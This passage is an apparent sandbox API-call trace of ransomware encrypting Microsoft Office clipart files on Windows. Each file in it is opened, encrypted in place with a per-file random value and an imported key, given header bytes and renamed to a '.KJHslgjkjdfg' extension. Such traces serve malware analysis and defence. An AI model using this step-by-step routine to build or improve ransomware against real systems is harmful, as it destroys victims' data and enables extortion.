dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.937] SetEndOfFile (hFile=0x114) returned 1 [0186.940] GetProcessHeap () returned 0x2a0000 [0186.940] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.940] GetProcessHeap () returned 0x2a0000 [0186.940] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.940] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf.kjhslgjkjdfg")) returned 1 [0186.941] CloseHandle (hObject=0x114) returned 1 [0186.941] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2108500, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2108500, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x6928, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02280_.WMF", cAlternateFileName="")) returned 1 [0186.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.942] GetProcessHeap () returned 0x2a0000 [0186.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.942] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.942] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.942] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.944] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.944] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.944] GetProcessHeap () returned 0x2a0000 [0186.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.944] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.944] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.945] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.945] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.945] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.945] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.945] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.945] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.945] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.945] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.945] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.945] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6928, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6928, lpOverlapped=0x0) returned 1 [0186.946] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6930, dwBufLen=0x6930 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6930) returned 1 [0186.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.947] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6930, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6930, lpOverlapped=0x0) returned 1 [0186.947] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.947] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.947] SetEndOfFile (hFile=0x114) returned 1 [0186.949] GetProcessHeap () returned 0x2a0000 [0186.949] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.949] GetProcessHeap () returned 0x2a0000 [0186.949] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.949] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf.kjhslgjkjdfg")) returned 1 [0186.951] CloseHandle (hObject=0x114) returned 1 [0186.951] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32fdb00, ftCreationTime.dwHighDateTime=0x1bf3250, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32fdb00, ftLastWriteTime.dwHighDateTime=0x1bf3250, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02282_.WMF", cAlternateFileName="")) returned 1 [0186.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.952] GetProcessHeap () returned 0x2a0000 [0186.952] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.952] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.952] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.952] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.952] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.952] GetProcessHeap () returned 0x2a0000 [0186.952] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.952] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.952] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.952] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.954] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.955] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.955] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.955] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.955] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.955] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.955] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.955] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.955] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7400, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7400, lpOverlapped=0x0) returned 1 [0186.956] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7400, dwBufLen=0x7400 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7400) returned 1 [0186.956] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.956] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7400, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7400, lpOverlapped=0x0) returned 1 [0186.957] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.957] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x74d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.957] SetEndOfFile (hFile=0x114) returned 1 [0186.959] GetProcessHeap () returned 0x2a0000 [0186.959] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.959] GetProcessHeap () returned 0x2a0000 [0186.959] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.959] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf.kjhslgjkjdfg")) returned 1 [0186.961] CloseHandle (hObject=0x114) returned 1 [0186.961] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffb65800, ftCreationTime.dwHighDateTime=0x1bf3488, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffb65800, ftLastWriteTime.dwHighDateTime=0x1bf3488, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02285_.WMF", cAlternateFileName="")) returned 1 [0186.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.962] GetProcessHeap () returned 0x2a0000 [0186.962] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.962] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.962] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.962] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.962] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.962] GetProcessHeap () returned 0x2a0000 [0186.962] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.962] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.962] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.962] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.966] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.966] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.966] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.966] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.966] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.966] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.966] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4090, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4090, lpOverlapped=0x0) returned 1 [0186.967] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4090, dwBufLen=0x4090 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4090) returned 1 [0186.968] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.968] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4090, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4090, lpOverlapped=0x0) returned 1 [0186.968] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.968] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.968] SetEndOfFile (hFile=0x114) returned 1 [0186.970] GetProcessHeap () returned 0x2a0000 [0186.970] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.970] GetProcessHeap () returned 0x2a0000 [0186.970] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.970] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf.kjhslgjkjdfg")) returned 1 [0186.972] CloseHandle (hObject=0x114) returned 1 [0186.972] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bf9300, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bf9300, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4584, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02287_.WMF", cAlternateFileName="")) returned 1 [0186.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.973] GetProcessHeap () returned 0x2a0000 [0186.973] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.973] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.973] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.974] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0186.975] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.975] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.975] GetProcessHeap () returned 0x2a0000 [0186.975] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.975] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.975] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.975] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.975] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.976] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.976] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.976] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.976] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.976] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.976] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4584, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4584, lpOverlapped=0x0) returned 1 [0186.977] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4590, dwBufLen=0x4590 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4590) returned 1 [0186.977] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.977] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4590, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4590, lpOverlapped=0x0) returned 1 [0186.977] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.977] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.977] SetEndOfFile (hFile=0x114) returned 1 [0186.980] GetProcessHeap () returned 0x2a0000 [0186.980] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.980] GetProcessHeap () returned 0x2a0000 [0186.980] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.980] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf.kjhslgjkjdfg")) returned 1 [0186.981] CloseHandle (hObject=0x114) returned 1 [0186.981] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x76e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02288_.WMF", cAlternateFileName="")) returned 1 [0186.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.982] GetProcessHeap () returned 0x2a0000 [0186.982] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.982] CryptGenRandom (in: hProv=0x2bcb08, 